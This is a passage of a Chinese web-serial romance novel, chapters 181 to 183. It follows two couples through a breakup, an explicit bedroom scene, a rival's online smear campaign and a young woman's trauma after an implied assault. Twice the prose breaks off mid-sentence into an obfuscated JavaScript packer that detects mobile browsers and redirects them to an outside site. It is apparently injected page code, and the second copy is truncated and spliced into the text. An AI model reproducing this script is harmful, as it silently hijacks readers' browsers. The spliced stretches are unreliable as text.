出租车一路飞驰,眼前店铺门头一切都无比熟悉,谷奕突然想起来,这居然是2017年9月月考那天,苏琬和他一起来打耳洞的那家店。 迈步进门。 苏琬正安静坐在店内,仰起头,微微闭着眼。 店顶的灯光流水一般倾泻在她脸上,给她渡上一层柔和生动的光晕,几乎梦幻到不真实。 郭阿姨站在她身侧,手上拿着器具,“啪”地一声直接戳进了她的左耳耳骨。 只一秒钟的时间。 她的左耳耳垂有三颗耳钻,而现在耳骨上已经有了第四颗。 两只耳朵加起来算的话,这是第七颗。 ……谷奕满腔的话却堵在喉咙怎么也说不出来,近乡情怯,他一步步往前走。 苏琬表情实在是太过平静,完全没有料想的那样生气或是质问的情绪,像是早知道他会来,于是就静静地在这里等他。 郭阿姨已经离开,整间小店转眼间只剩他们两人,谷奕低下头,竟然发现自己手在发抖。 “你还记得2017年9月,我们来这里的那一次吗?” 沉默被打破,苏琬的声音和平时一样温和平静,就像是说着今天天气真好一样。 她脸色有些苍白,像是没休息好,整个人透着一种病态的瘦弱,像是下一秒就要随风而去。明明她正在看着他,可是谷奕却觉得她的眼睛里充满了空洞,一种已经心死的淡然。 “你问我,打耳洞不痛吗。” “我说,如果一种痛只有一秒钟,那又能痛到哪里去呢?” “最大的痛苦是长久而无法摆脱的痛。” 谷奕像个傻子一样愣怔住。 口袋里的首饰盒硌得他生疼,他手心里全是汗,却冰凉一片,不由自主伸手去不断抚摸着首饰盒的绒面,最终终于颤抖着手,把它拿了出来。 就在他要努力找回自己的声音并且说那句已经排练了无数遍的求婚台词“我想一辈子和你在一起”时,谷奕听见苏琬冷静到极点的声音。 “我们分手吧。” 181. 第 181 章 黄怀予除了7月份的20天是在南省山区里过的,剩下的暑假都是在帝都楚恒家里窝着的。 用“窝着”这个词好像也不太准确,因为楚恒家房子很大,每天就算不出门也不觉得憋闷。 这样的生活其实非常悠闲,有了7月份去做研究助理的那20天的经历,剩下的时间就算每天混吃等死也不觉得慌乱奢侈,反正假期已经做完了一件正事了。 至于剩下的时间…… 吃喝玩乐,纸醉金迷,灯红酒绿,放纵自由。 上午睡到自然醒,下午和晚上出去买衣服逛街看电影按摩玩游乐场泡酒吧,几乎把帝都玩了个遍,什么犄角旮旯的小众打卡点都去过,每天山珍海味吃着,所有消费楚公子买单。 为什么这么大胆都没被拍到曝光恋情?因为黄怀予全都是一个人去的。 他要工作嘛!怎么能跟着一起去呢?况且在外不一起出现,这是秘密地下恋的基本准则呀!——黄怀予成功说服了自己。 他赚钱,我花钱。他工作,我仰卧。 他录歌,我大喝。他放心,我开心。 多么美好的人生。 美好人生的第二面:特/务身份,启动! 进出住宅区的时候,她拖鞋短裤,神色正常得像是这里原本的住户。进出必绕路,去隔壁几栋慢悠悠绕一圈再从另外一个小入口进楼。和楚恒错开所有进出时间,从不一起出现,不留任何蛛丝马迹。 ——《我的偷/情人生》。 美好人生的第三面:谈一场只有室内的恋爱。 被楚恒压在浴缸边,他的身体撞上来的时候,黄怀予被这一下撞得几乎说不出来话,皱眉,“太重了……” “重?”楚恒抿着唇,掰过她的脸,盯着她的眼睛看,“今天去酒吧玩得开心吗?” “……”黄怀予一下子有点清醒,心虚地缩缩脖子,“你知道了?” 他波澜不惊的声音在黄怀予头顶响起: “亲密付自动扣款短信已经发到手机上了,很难不知道。” 黄怀予自知理亏,梗着脖子说去酒吧咋啦,以前我们四个不是经常一起去吗?1969不也是酒吧吗? “嗯。”楚恒像是轻笑了一声,随后黄怀予就被猝不及防抱了起来,身体一下子脱离温暖的水面,暴露在空气里,不由得打了个冷战,刚想嚷嚷说冷,话到了嘴边就支离破碎不成语调。 “我怎么不知道我们四个之前去过的酒吧有肌肉/裸/男NPC。” 他动作极重,撞开,又一点点退出去,开始放得很缓,三番四次擦过但就是不往前。 黄怀予十指收紧抱住他,闭着眼呜呜地哼唧,一些透明的水液往下滴落。 眼前模糊一片,她整个身体都是悬空的,极其没有安全感,只能用尽全力抱着他。 他还嫌不够,硬是扯过她一只手,不顾她挣扎,把她的手放在自己胸口,又一点点带着她的手往下,引导她去摸他腹部的肌肉轮廓。 “你摸他们了?”他温热的呼吸打在她侧/颈,轻声说,“摸他们一分钟,补给我一小时。” * 准备来东吟公司这件事,顾安做了很久的心理准备。 站在东吟公司楼下的时候,他扬起头往上看——透明偏蓝色的高级写字楼,像一把剑直直地往上插。 东吟公司这两年来发展太过于迅速,几乎成为行业内一匹最令人意想不到的黑马,从只能在偏僻地区租个小办公室的初创公司,到现在位于位于帝都某区繁华便利、寸土寸金的中心大楼,一跃变成现在炙手可热的明星经纪公司。 规模越来越大,签约艺人越来越多,梁吟东“金牌经纪人”的名头也越来越响亮——毕竟,当红顶流创作歌手,楚恒,就是梁吟东亲手带出来的。 在东吟公司当初寒酸到只有楚恒一个签约艺人的时候,梁吟东为楚恒跑前跑后求资源,楚恒参加选秀凭借个人能力一夜爆火。 黑料不攻自破,人气节节上涨,作品广泛传播,音乐综艺时尚代言几个领域遍地开花。 楚恒无疑已经和东吟公司深深地绑定在了一起,成为行业里“小公司奇迹”的代表案例,也吸引着无数个想要成为“第二个楚恒”的年轻艺人怀揣着梦想来到东吟公司,渴望复刻一个奇迹,闯出自己的一片天。 ……这些年轻艺人里,也包括自己吗?顾安看着电梯透明大门反射出来的自己脸上的嘲讽的笑。 他在嘲讽自己罢了。 和新娱的合约还有两年。 STAR早已经名存实亡,当初自认为自己前途光明的赵焰已经被当年轰轰烈烈的霸凌事实打得趴下,无论做什么都无法挽救已经到极点的大众负面印象。 陈影钱明哲这两人和顾安一样,等不到公司下一次男团出道的安排,也自知绝不会有个人发展的机会,碌碌无为,仓惶混日,熬着最后的合约到期日子,只盼脱离牢笼。 不能想,想到这里,顾安一定就会紧接着想到当年楚恒宁愿付了几百万违约金也要干脆利落地解约换公司这种无异于刮骨疗毒的行为。 ——是啊,那人又赌成功了。烂肉长好了,伤口愈合了,众人称颂,一朝爆火,冤屈洗净,仇人肃清,就连当年看起来是天价的违约金,现在在楚恒看来也不过是过眼云烟。 曾经的三年队友,现在已是天差地别。 …… 和梁吟东约定的时间还没有到,也许是他太过紧张,竟然提前了一个多小时。一楼前台核实了身份之后给了他通行证挂在了胸前,他走进电梯,沉默几秒,最后按下了三楼餐厅的按钮。 他嘲笑自己脆弱的心理素质,反正也是要等着,不如去喝杯咖啡,清醒一下。 电梯门合上的前三秒,一只手“啪”地插了进来。 一个身材高挑的年轻女生走了进来。 她穿着一身暗色,紧身长裤配靴子,带着黑色鸭舌帽,帽檐压得很低,进来后低着头。 电梯在三楼餐厅停下来的时候,那个女生也跟着走了出来。 顾安找了个角落的位置坐下,面前摆了一杯冰美式。 而在他身后,那个女生正拿着餐盘,兴致勃勃地到自选菜品区,正打算把以好吃闻名的东吟公司食堂全部尝一遍。 “你好,为啥只给我这么一点菜?刚刚排在我前面的那个男生如果是标准量,请给我一样的量。”清脆的女声响起,一字不落地全部飘进了顾安耳朵里。 打菜的大叔没想过会被一个小姑娘这样要求,愣了一下说:“就这么多,再多的没有了。” “刚刚那个男生和我花了一样的钱,他有多少,我就要多少。”她直视着对面大叔的脸重复道。 那大叔一下子就不耐烦了,啧了一声,“他是男的,吃多点怎么了?你一个女的吃那么多干什么?你是东吟公司的?你经纪人没让你减肥?一个女艺人还敢吃这么多。” 听到这话,那女生一下子眯起了眼睛。 “我怎么不知道吃东西还分男女?这是食堂,不是厕所。我用嘴吃,不是用生-殖-器官吃。” “……”那大叔眼睛一下子瞪得老大,估计是从来没见过这号人物,舌头都打卷了,半天没说出话来。 她把自己的盘子递过去,声音不卑不亢,再次重复道,“请给我标准量。” 那大叔终于没话说了,憋着一股气,下手打了大大两勺,放进了她盘子里,嘟囔着真是不好惹。 “我确实不好惹,所以你不惹我不就行了。”那女生把盘子拿回来,脸上重新露出笑容,她瞄了一眼大叔胸前的工牌,说出的话却让人毛骨悚然,“大叔,以后也别惹别的女生哦。你的工号00478,小心我投诉你哦。” 说完,她没管那大叔被气得猪肝一样的脸色,捧着盘子找了张空座位坐下,心满意足地开吃。 …… 顾安看着正坐在他对面、隔了一张桌子的女生。 她帽子已经摘掉了,露出一张很年轻的脸。这张脸乍一眼看上去有些寡淡,有些普通,五官称得上清秀,但是却无出彩和惊艳的地方,一眼看过去下意识只会觉得是普通人,不会留下任何深刻的印象。 可是一旦笑的时候,眼睛里就会闪过亮晶晶的光,变得极其生动,五官都变得柔和,透亮的瞳孔像是阳光下的新鲜葡萄,透着一股机灵的狡黠劲儿。 此时的她,是极其吸引人视线的。 顾安面前摆着一杯冰美式。 一小时的时间里,他就喝了两口。剩下的时间,他一直在看对面的女生吃东西。 她打了满满一盘子菜,还有一碗饭一碗汤,是很不会委屈自己的一顿饭。吃的速度不快,但是战线拉得很长,可以一直吃一直吃。每道菜都吃得津津有味,吃的时候全神贯注,一个人坐在座位上,微微跷着腿晃着脚,直到一点一点把所有东西全部吃完。 到最后,她站起身,乖乖地把空盘空碗放到了回收处,走之前还把自己坐过的桌子给用纸擦干净了。 眼看着她的身影越来越远,顾安沉默地回过神,低头盯着眼前这杯基本没动过的冰美式。 他坐在原地两秒钟。 然后把咖啡拿起来,目光重新投向那个吃饱了的心满意足的身影。大脑还没有反应过来时,身体却已经做出了选择,迈开脚步,朝着她的方向走了过去。 …… 她个子高挑,大骨架,纤长均匀,两条腿又长又直。 顾安远远地看着她的背影,目光不由自主落在她腿上。 电梯门关上的前一秒钟,他几步走上前,伸出手拦住电梯门,抬眸,一下子和电梯里的女孩四目相对。 “谢谢。”他一边走进来一边低声说。 电梯门合上,狭窄逼仄的空间里只剩他们两人。顾安没来由地听见自己略微变得凌乱的心跳声,他扫了一眼前方的按键,只有“7”是亮的,说明她要去7楼。 那女孩看了一眼他胸前挂着的通行证,没说话,又抬手按了一下“8”。 顾安心里一动,侧头朝她看过来。 像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566457|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是终于找到了一个正当理由和她搭话,沉默几秒终于开口道: “你怎么知道我要去八楼?” 她听到他突然说话,抬头和他的目光对上,然后就反应过来,指着他胸前挂着的通行证,“这上面写着你要去老板办公室。就在八楼。” 顾安没想到是这样的答案,“……谢谢。” 她摆摆手,冲他露出一个突然的笑,“不用。” ……顾安的心像是被一束细小的绒毛扫过,微风吹拂,沉闷的心湖慢慢开始荡起一点点涟漪。 电梯沉默地往上升,7楼到了,电梯门打开。 她大咧咧地往外走,走出门的那一瞬间却又停住脚步,回过头语气轻快地说了一句“拜拜!” 顾安一愣。 那一瞬间他几乎是要觉得她是否也想和自己认识才会主动留意到他身上的通行证以及帮他按按钮,那一声“拜拜”那么轻快活泼,像一朵春天开过的花。 可是还没有等到顾安来得及做任何反应,她已经毫无任何留恋地转身走了,电梯门又缓缓合上,周遭只剩下他一个人。 * 这一趟来东吟公司,顾安没能从梁吟东这里得到任何预想当中的资源帮助。 尽管他已经算得上低声下气地去祈求这位曾经带过自己三年的经纪人。 不像梁吟东和赵焰之间曾有过的剑拔弩张,顾安和梁吟东之间没有过任何直接冲突,他以为帮忙引荐一些认识的同行人脉资源、牵线搭桥参加一些饭局等等这些事,还是可以得到允许的。 这些本该是新娱员工以及胡权的工作,却都在STAR名存实亡后早就无人在意。但是就算所有人都不在意,他自己却不能不在意。为自己的发展和未来拼一把,顾安没有觉得这件事特别丢脸,尽管他依然要给自己做许久的心理建设。 可是,梁吟东却用最理性的方式做了回答。 “你不是东吟公司的员工,我也不是你的经纪人,我们之间已经没有了任何商业关系。如果我手上有资源和人脉,出于任何角度,我都应该首先考虑到东吟公司的艺人本身,而没理由去给别人。” 她如此客观理性,顾安咬着牙最终还是接着打了感情牌,却没想到梁吟东神色复杂地看着他,然后提到了一个顾安最不想听到的人。 “既然你提到私人感情,我就更加帮不上你。这么多年来你和楚恒之间发生的所有事,只有你们本人才清楚,我并不完全了解。但是我只知道,中间者的倒戈或许与作恶者等同,我不能替他原谅。” 顾安一步步走向东吟公司电梯间,脚步重得几乎要把地板踩碎。 又来指责他了,又来高高在上地抨击他,说他背叛、说他倒戈、说他阴险了。顾安想笑,从十几岁进入公司到现在一路的成长环境早已让涉世未深的青春期男孩变得扭曲了,他不相信这个世界上有面对强权不畏惧的人,他不相信这个世界有敢于表达自己的人。 电梯门打开,他沉着脸抬手按了“1”,可是目光无意间扫到上面的“7”时,却不经意间顿住了动作。 ——她,是吗? 脑中闪过那张年轻生动的脸。女孩的笑在他心里一闪而过,像是一根羽毛轻轻滑过,蹭起一点点酥痒。 她心里有着一套朴素却直击人心的正义观,就好像“给了一样的钱就应该得到一样的东西”一样,说出来极其合理,可是大家好像都被各种各样其他的繁杂压迫所驯化而习以为常。 可是她不仅没被驯化,反而不卑不亢地直面不公平,坚定立场从不动摇,敢说出来,敢争取,敢表达,敢心安理得地接受斗争胜利的果实。 潇洒肆意,阳光热情,像是拥有所有的光明面。 顾安双手紧握成拳,又松开。他不相信世界上有这样的人,可是这样的人今天真的在他面前出现了。 * 时间过去了小半年。2019年夏天结束,冬天要来了。 楚恒事业发展越来越好,而顾安浑浑噩噩地混着日子。他注册了微博小号,每天不遗余力地去给楚恒刷黑词条、给他的歌打负分、刷抄袭……能做的他全都做了。扭曲吗?是挺扭曲了,反正他早就是这样的一个扭曲到死的人了。 每到中午的时间段,他如果没事,就会有意无意地去东吟公司,特别是停留在三楼餐厅,喝上一杯咖啡,在周围寻找着谁。 ——可是,再也没有遇见过他想见到的人。 顾安开始跟着别人混夜场。几个玩得开的练习生经常去泡吧,天天组局,要帮顾安脱单,介绍了很多网红小模特。问他喜欢什么类型的,他只说要热情阳光的,天不怕地不怕的,饭量大的,腿长的。 半年时间里换着交往了好多个,来来去去混沌度日,他却觉得越来越麻木,越来越没意思,再也没有过曾经的那种感觉了。 ——都怪楚恒。顾安喝得烂醉倒在烟酒弥漫的卡座里,他模模糊糊地想,他一定要抓住楚恒的把柄,要让他一夜变得千夫所指,要他重新糊穿地心,要他和自己一样躺在地狱里。 182. 第 182 章 黄怀予收到苏琬消息的时候,正好是2019年7月31号晚上后半夜。她语气平静,说自己最近手机掉了,用这个新号码过渡一下。 没记错的话,8月1号就是谷奕生日。黄怀予知道苏琬暑假一直住在魔都谷奕那里,还听苏琬说前一天晚上会参加一个酒会,然后第二天就陪谷奕过生日。 酒会?黄怀予听到这个词,立刻就开始由衷地替苏琬感到紧张,在场肯定很多不认识的有钱人吧!黄怀予还等着第二天苏琬回来就让苏琬给自己讲讲所见所闻,长长见识。 却没想到,那天谷奕一大早就给她发消息问苏琬的新电话号码,语气透着慌张,疲累,还有一点恐惧。那一刻黄怀予终于感受到了一点不对劲。 心头隐隐不安,本来计划在帝都楚恒家里玩到暑假结束的她,立刻买了张机票直飞江城回了楚门。 楚港区,老旧街道。 参天大树,红砖楼房,和她家只隔一栋房子的苏琬家。 她有苏琬家的钥匙。推开陈旧的木门,发出“嘎吱——”的声音。 房间老旧狭小却干净明亮,阳光透过纱窗照进来,照在暖黄色的木质地板上,微尘在空气里飘散。没有其他人在家,整个屋子里静悄悄。 黄怀予一步步走进去,一下子看见,窗边的地板上,阳光照进来的光区里,坐着一个人。 很瘦,非常瘦,瘦到一种病弱的状态,皮肤雪白纤细,乌黑的发丝垂落,整个人藏在宽大的衣衫里。 坐在地板上,看着窗外的绿叶和阳光,脸色苍白,神态疲倦,正在发呆。 侧面对着门的方向,脸上有淡红色的还没消下去的印记,隐隐约约透出手指的指痕。 手边地板上放着一个没见过的新手机。 另一边的地板上放着一个打开了的行李箱,里面躺着一条白色绸缎裙子,光是扫一眼就知道这是昂贵的礼服款式,可是这条裙子皱巴巴像咸菜一样揉成一团,白色面料上还沾着一大片暗红色的液体痕迹,早已经干涸,硬邦邦一片。 ——黄怀予在进来这间屋子后的三秒钟,就已经看到了上面所有的线索。 她瞬间停住脚步,像是被人当头打了一棒,浑身上下透出一股凉意。 只用三秒钟,她甚至都不用苏琬这时再解释什么,再说明什么,再给她多讲一遍昨天晚上发生的事情,再讲一遍她是怎么穿了一条昂贵好看的裙子去参加高端奢华的上层人酒会,结果回来的时候手机也掉了、裙子也脏了、脸上也被打了,最后连夜从魔都一个人坐飞机回来,而留下谷奕在身后慌乱着急地追。 她不用苏琬讲,她看一眼就全能明白。 ……黄怀予垂在身侧的手握紧又松开。 她一步步朝着坐在地板上的苏琬走过去,然后跪坐在她面前,和她平视,双手握住了她的手。 楚门夏日的阳光毒辣,蝉鸣声大得吓人,动物像是知道自己只能活三个月一样疯狂地燃烧生命。空气沉腻,参天大树斑结虬劲,嫩绿的树叶生长得斑驳旺盛,垂下一大片凉爽的绿荫。 金色的阳光透过红砖楼房破旧的墙体照进来,穿过陈旧的纱窗,照在两个面对面手牵着手的女孩身上,给两人都打上了一层柔和的光晕,三角形的光把两个女孩都笼罩在了里面。 这是三十几年的老房子,老城区。苏琬和黄怀予在这里从六岁就认识,一年年在一起,一年年去上学,一年年长大。树叶绿了又黄,楚门的夏天过了又是冬天,她们牵着手走过上学路,周末在对方家里做题,黄昏在楼下的砖块里捉蚯蚓,考砸的时候抱在一起痛哭。 她们带着同样的期望从楚港区搬去了鸡鸣区,在优绩主义的锤炼下被捶打了三年,伤痕累累却最终也带着高考的荣誉勋章走了回来。大学和楚门之外的世界富贵迷人眼,她们一起遇见了恋人,一起陷入了爱河,一起体验着青春的浪漫的情事。 ——到如今,受了一身伤和痛苦的打击,什么都体验了一遍,重新回到楚港区这个红砖小楼房的时候,苏琬竟然发现,黄怀予还在她身边,还和她一起晒太阳,还牵着自己的手。 喉头突然涌上一层涩然无比的哽咽,经历了一整夜那么多暴风雨般突如其来的重大事件都没哭没闹的苏琬,突然霎时间从那股平静呆滞和淡然的绝望中回过神来,委屈像是泉水一般涌了出来,铺天盖地把她包围。 “好疼……” 她紧紧抱住了黄怀予,眼泪流了满脸,像个小孩子一般抽抽噎噎地说: “好害怕,害怕那个女生会出事,为什么,为什么那个男人可以这么嚣张……好害怕,他一直都不来,他是不是永远都不会来救我了?我跟他不一样,我跟他不是一路人,我们没有好结果的……” “易南希是对的,好疼,止痛药失效了,再也没有止痛药了。我要醒过来了,爱情没用,我爱他,但是没用。要醒了,梦要醒了。” 黄怀予伸出手摸她的后脑勺,从头发一路往下摸到脊背,又顺着往上,反复地摸。她声音终于越来越小,越来越低,一夜未眠疲惫不堪的脸上出于出现困意,泛着泪花的眼睛终于慢慢闭上。 黄怀予把她放到床上,给她盖上被子,调好空调。 随后起身,她看着镜子里,自己肩头那一块和其他地方颜色不一样的衣服。那是被苏琬哭湿的,一小块,洇着深色的水气。 * 夏去秋来,冬天将至,2019年下半年就这么快要过完了。 这对黄怀予来说实在是很艰难的几个月。不为别的,就是因为苏琬和谷奕分手了。 ——这种事情,简直无异于妈妈爸爸离婚了你跟谁。 当事人还有理由可以互不见面,但是黄怀予这种夹在中间的steve简直比当事人还难受。 每天上完课在教学楼门口等苏琬去吃晚饭,就总能看见前方不远处的校园街角,一个高大的身影等在那里。 他仿佛有千里眼,下课的人潮中总是能一眼就看见她们俩,然后就那样直勾勾地盯着她们看,眉眼压下来,微微低头,也不说话,表情透出一股湿漉漉的委屈和期待。 黄怀予立刻停了脚步,像是那个心虚猫猫头的表情包一样偷瞄了一眼旁边的苏琬,随后极其有眼力见地迅速走到了一边的树下。 校园里人群熙熙攘攘,今天是晴天,江城天空高远明亮,大学生们三五成群。黄怀予靠着树干等着,看见谷奕几步就直直地朝着苏琬走过去。 他说了一些什么话,表情里满是诚恳和期待,长眸里含着隐隐的水光,眼睛一眨不眨地盯着苏琬的脸,又因为苏琬一直都没有给予任何回应而落寞地低下了头。 如果情绪可以可视化,黄怀予觉得此刻谷奕身后应该有一条看不见的尾巴,无精打采地垂下来。 谷奕继续说着话。他瘦了很多,今天穿了一套黑色的运动装,宽大的薄外套松松垮垮穿在身上,映出身下隐隐约约的肌肉轮廓。外套帽子套着头,头发又变长了,额发被帽子压着,垂在额前,衬得凌厉的侧脸多了一点柔和,整个人身上的攻击性都没那么强了。 他好像说了很多话,黄怀予在旁边听到最多的就是“对不起”。 说“对不起”干什么?黄怀予歪歪头想。她知道,苏琬从来没有怪过谷奕,苏琬也从来没有觉得这件事情谷奕有错,应该道歉。 只是谷奕已经习惯道歉,他无法接受其他原因,什么不合适什么不是一路人,他根本听不下去。他只知道他差点被人亲了导致苏琬生气了,以及他没有及时发现黄发男的意图导致苏琬受伤,他太可恶了,应该被千刀万剐,所以对苏琬怎么道歉怎么被虐都是应该的。 他递给苏琬一个包装精美的袋子,黄怀予够着脖子看了一眼,是江城最近新开的很火的蛋糕,超级贵,排队两小时起步。 苏琬没接,谷奕低着头,停在半空中的手尴尬又无措地抖了两下,然后落寞地收了回来。 苏琬转身离开了。 谷奕下意识就迈开腿想跟上去,可是硬生生停住了,立在原地,孤单无助地垂着头,乌黑的发丝垂下来,像一只被主人抛弃的大狗。 “给我,我保证全都给你吃干净!”黄怀予几步跑上前,一把接过谷奕手里的蛋糕,喜滋滋地看了好几遍,又把头伸到谷奕低垂着的脸下方去看他的表情,“真伤心了?没哭吧?” 谷奕一动不动,任她拿走了蛋糕,又别扭地转过头,半晌才哼出来一句,“你才哭了。” 黄怀予也没戳穿他声音里的哽咽,直起身子,站他旁边,看着前方不远处苏琬越走越远的背影,叹了一声唉。 “我住长江头,君住长江尾。日日思君不见君,共饮长江水。” “此水几时休,此恨何时已。只愿君心似我心,定不负相思意。” 落日把周围的云层都染上金橙色的艳丽瑰霞,引起一众路上的学生们都在举着手机对着天空拍照,人群中惊起小小的惊呼声,没人注意角落里这三人之间的爱恨情仇。 黄怀予叹惋着念完,她的声音清脆,此时却带了点若有若无的伤感。说完本来都做好打算会被谷奕骂几句,毕竟谷奕最讨厌舞文弄墨,也最不喜欢伤春悲秋。 可是却没想到,听完她慢悠悠念完这首词,谷奕脸上竟然慢慢陷入一种呆滞和懵懂,眼里碎光颤动,呼吸一窒,紧接着,竟然滚下泪来。 “操。”他手指捂住眼睛,低声说,“别给我念这些乱七八糟的。半夜朋友圈也别给我分享那种悲伤情歌。我不想听。” 他重新收拾了一下情绪,放下手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“她总说不是因为我,不是因为易南希,不是因为那个男的。那是因为什么?到底是什么?我真的不明白,我真的不懂。为什么这个世界我本来应该是她最亲近的人,可是我却离她这么远,我永远也不知道她在想什么。我好想明白她,我好想懂她。” 谷奕说着说着突然有几滴眼泪迅速滴下来,他一把擦掉,丧家之犬般蹲下,整个人笼罩在巨大的脆弱和自责里,几秒后才传出一两声压抑的哭声。 * 谷奕失魂落魄地躺在空无一人的别墅沙发上。 胡子拉碴,头发凌乱,上半身的衣服皱成一团咸菜,一动不动。 门边传来声响。谷玉一步步走进来,恨铁不成钢地看他一眼。 “你每天这样像什么样子!” 她没指望谷奕能回答,本来想摇摇头就上楼,可是却听见身后传来一声闷闷的声音。 “你和我爸,当初为什么会离婚。” 谷玉停住动作。她轻轻叹了一口气,转过身。 “你不明白,我和你爸爸不合适。不合适的人,强迫在一起只会陷入无尽的消磨。就算有感情,也慢慢消耗光了。离婚是最好的结果,不如大家各自尊重对方。” 谷玉语调平静,可是“合适”这两个字再次出现,狠狠刺痛了谷奕。他喃喃着:“不合适……又是不合适?我确实不明白,既然不合适,一开始为什么要在一起?” “因为,荷尔蒙不是假的,心动不是假的,爱情不是假的。但是后来也发现,这些真实存在过的东西,也会慢慢消失,因为这些东西太脆弱了。” 谷奕冷不丁问一句:“难道不是因为你找了那个男人吗?” 谷玉一愣,“谁告诉你的?”她仿佛时至今日才明白了什么,眼中闪过恍然大悟,像是终于明白谷奕叛逆漫长的青春期里到底为何充满着怨气和痛苦,“你认为,是我出轨,所以我和你爸才离婚的?” 谷奕盯着她,那表情仿佛就在说“难道不是吗”,他呼吸急促,喊道,“我知道你有钱,那,你在外面养几个男人玩一下也没什么!但是你别让他发现不就好了!” 谷玉愣怔几秒,终于泛上一丝沧桑的苦笑。 “……不发现就没事了吗,不离婚就没事了吗,什么才是没事呢?” “我就是因为做不到装作没事,才和他离婚的。” “谷奕,你才二十几岁,你太年轻了,你的人生还没开始。苏琬是个很聪明的人,她和当年的我一样明白了一个道理。”她直视着谷奕,一字一句说,“相爱不能抵万难,爱情就是因为高贵纯洁,所以才稀有,才容易失去。” 谷奕像是痴呆症一般呆愣在原地。他感到惊奇,他妈妈和苏琬竟然说出了几乎一模一样的话。 他突然觉得,她们两个真的很像,都那么冷静,那么审视,审视自己也审视别人。例外的只有他,冲动的只有他,被感情支配的只有他。 183. 第 183 章 苏琬觉得自己好像并不难受。 她每天正常上学考试做项目,完全沉浸在学习里。法学专业课繁杂,知识点众多,课程又满,她奔波于校园里,自认为根本没有时间去感到悲伤或者痛苦。 法学院一个年级接近八百人,苏琬一路从年级前50名学到了年级前10名,名列前茅,手上参加过的学术项目也是经常获奖,连续拿了两年的奖学金和三好学生。 无数人艳羡,老师称赞,同学友好,似乎未来也极尽光明。 苏琬自己也努力地这样说服自己。 你看,好像生活里没有他,也能过得很好,对吧?她是一个很擅长学习的人,既然她可以学着拥有好成绩,那么她也可以学着去遗忘他。 可是,她在食堂吃饭时,会吃着吃着就不自觉地流下泪来,回过神来时才发现眼泪已经流了满脸。一盘子菜只动了两口,剩下的怎么也吃不下去,眼泪一滴滴落下来,坐在对面的陌生同学犹犹豫豫递过来一张纸。 她再也穿不了白裙子了,她看见白色裙子的那一刻会生理性头痛,痛到像是有蚂蚁在啃咬神经,于是只能把衣柜里所有白色裙子全部装进垃圾袋里,扔进垃圾堆,再逃也似地回来。 背着书包走在校园里,旁边操场上会有男生打篮球,她会不由自主地停下脚步,呆滞地看着那人身上的亮橙色球衣和额头上绑着的白色发带,直到被身后的人撞到才恍神捡起地上散落一地的书。 最难受的是晚上。她整夜整夜地失眠,闭上眼睛就是魔都那座山,山上金光闪闪的会所大厅,长长的走廊,漆黑的肮脏的房间角落,以及黑夜里冷残的月光。她被反复地鬼压床,意识清醒但是怎么也醒不过来,闹钟响起的那一刻惊醒后整个人像是从水里捞出来一样满身大汗,睁开满是红血丝的眼,又是学习考试的一天。 她没来由地心慌,心痛,呼吸困难,肚子通,头痛,喘不上来气。体重一天比一天下降,她看着镜子里的脸,瘦削苍弱,麻木无神。 …… 苏琬没告诉任何人,一个人去了医院。 她看见“创伤后遗症”、“躯体化”、“轻度抑郁”几个字就这样明明白白、白纸黑字出现在手中的病历上。 是这样吗?原来她生病了吗? 可是她依然那么温柔,那么平和,那么从容冷静。谁都喜欢跟她聊天说话,因为她语气和顺,温柔包容,对方说什么她都可以笑着回答温柔应对,以道德为准则,真诚善良。理性温柔强大,甚至有人说她像女娲,一个无限包容的大地之母。 大地之母?苏琬喉间溢出一声轻笑。这个世界上有为钱所困的女娲吗?女娲追求长生,追求大同,追求举世和平,追求天下共心。她算什么?一个困在世俗金钱体系里一辈子都无法摆脱的普通人。 医院走廊的座椅冰冷,面前铺着病历纸,空荡的周围只有她一人。苏琬在这样极致的安静里突然想明白了很多事,她惊觉其实自己也是一个问题少年。 问题少年?这不是形容谷奕的吗?张扬乖戾,叛逆独行,典型的问题少年。他带着一身桀骜的戾气来到楚门,最先显示出来,却因为病得最轻,得以最先被被拯救。 楚恒也是问题少年。在畸形复杂的生活环境里被霸凌,梦想遥远,人格被撕碎践踏,于是阴郁冷淡,眼里满是对谁都不在乎的漠然,并用麻木来闭塞自己。但是却一点点被心爱的女孩打开心扉,一点点被光明浸染,最后走出黑暗,走向属于自己的舞台。 甚至还可以是黄怀予,看着大大咧咧外向热情,可是却自卑到极致,被亲生父亲抛弃,被比较竞争的环境捶打,被暗恋的人无视。青春期的酸涩敏感就这样跟随着肥胖的身躯和自卑的心一起被开朗的表情和自嘲的笑话所掩盖。经常暴饮暴食到把自己塞成一个垃圾桶,对外只玩笑说饭量大,但没人知道那是她情绪的出口。 但是,黄怀予就这样在痛苦中自我成长,一路上都在和自己内心的卑弱作斗争,一点点被纯粹唯一的爱意所拯救。她幽默善良,潇洒自由,她终于可以笑着变回这样的自己,她本就是这样的人。 那,苏琬自己呢? 看上去是最正常的人,与“问题少年”一点关系也没有。人人称羡的好学生,贫穷家庭里努力上进的好榜样——却最难医治,最难痊愈,最难以认清自己的人生。 大家都病得不轻,大家都有问题,大家都在痛苦地和自己以及和这个世界做斗争。苏琬仰头靠在医院冰冷的长椅上,天花板的灯开始模糊,她想,这个世界其实是一个巨大的精神病院。 * 正值节日放假,苏琬推了所有的项目、课程和其他安排,一个人背着包,回了楚门。 楚港区,红砖楼房,旧房子,一切都没变。夏天的绿叶早已掉光,光秃秃的树枝在楚门冬日的寒风里透出萧索的凛冽。 冬天到了。苏琬裹着毛毯坐在书桌前,苏明在身后打扫卫生,旁边的小太阳暖意融融地烘烤着。 